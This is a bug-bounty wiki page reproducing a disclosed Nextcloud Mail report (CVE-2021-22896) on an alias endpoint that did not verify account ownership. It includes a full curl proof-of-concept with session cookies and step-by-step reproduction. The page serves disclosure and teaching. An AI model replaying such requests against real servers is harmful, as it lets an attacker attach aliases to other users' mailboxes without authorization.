Skip to content
Access control Disclosed report Beginner CVE-2021-22896

Create alias does not validate account id

The endpoint that creates a mail alias did not check that the supplied account id belonged to the requesting user, nor that the account existed at all. An attacker could therefore create an alias attached to another user's mail account.

kesselb Follow

Originally disclosed on HackerOne

Medium 5.0 View original
  • Triaged in 4 days
  • Fixed in 13 days
  • Disclosed after 2 months

The request to create a new alias does not validate that account id belongs to the current user. Also we don't validate that the account id exists.

curl 'http://localhost:50001/index.php/apps/mail/api/accounts/2000/aliases' \
  -H 'Connection: keep-alive' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'requesttoken: 75bTbDfs3loR2Vr8pYPtefIjwiAQzQUtg2f9oeASmxI=:uv+XIBzaqg51imjI9/WcFZobsFpUiF1GsgiYio961Uc=' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' \
  -H 'Content-Type: application/json;charset=UTF-8' \
  -H 'Origin: http://localhost:50001' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Cookie: oc_sessionPassphrase=A%2BwmqbZZ4JJAydZ1Wg68GDAAhSdoipmHWCWTwfEJTIHmYyh6D59aMjilXtuhYbF8NMvfrUsvDuZ43d8nm91kpx0oe%2BnKm31YjI9%2FU0WsJK4Zqy5ygsi92Nhu4EPIn8%2Bg; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc5hwbau68t9=95154162557362dd231a75e7b065b1ea; nc_username=bob; nc_token=oe2FicKizx%2BUvvdToxpu%2Biob2h3vMJOD; nc_session_id=95154162557362dd231a75e7b065b1ea' \
  --data-raw '{"aliasName":"hello hello hello","alias":"[email protected]"}' \
  --compressed

Request above will create a alias with account id = 2000 even if there is no such account.

Impact

An attacker could create an alias (for an existing mail account) for another users.

The original report as published on HackerOne, by kesselb. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the alias-creation handler trusted the account id in the URL path and never verified ownership or existence before creating the alias.

Impact

An attacker could create an alias for another user's existing mail account.

What the attacker needed

An authenticated account; knowledge of a target account id

The fix

The endpoint should verify that the account id belongs to the authenticated user and that the account exists before creating the alias.

How it was found

  1. Send a request to the alias-creation endpoint for a mail account, using an account id that is not yours.
  2. Include a chosen alias name and alias address in the JSON body.
  3. The server creates the alias for that account id even though no such account exists.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A mail alias is an extra address that delivers into a mailbox. The server took the account number straight from the web request and never checked that the account was the caller's own, so anyone could point a new alias at someone else's mailbox.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by kesselb

View all

3 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.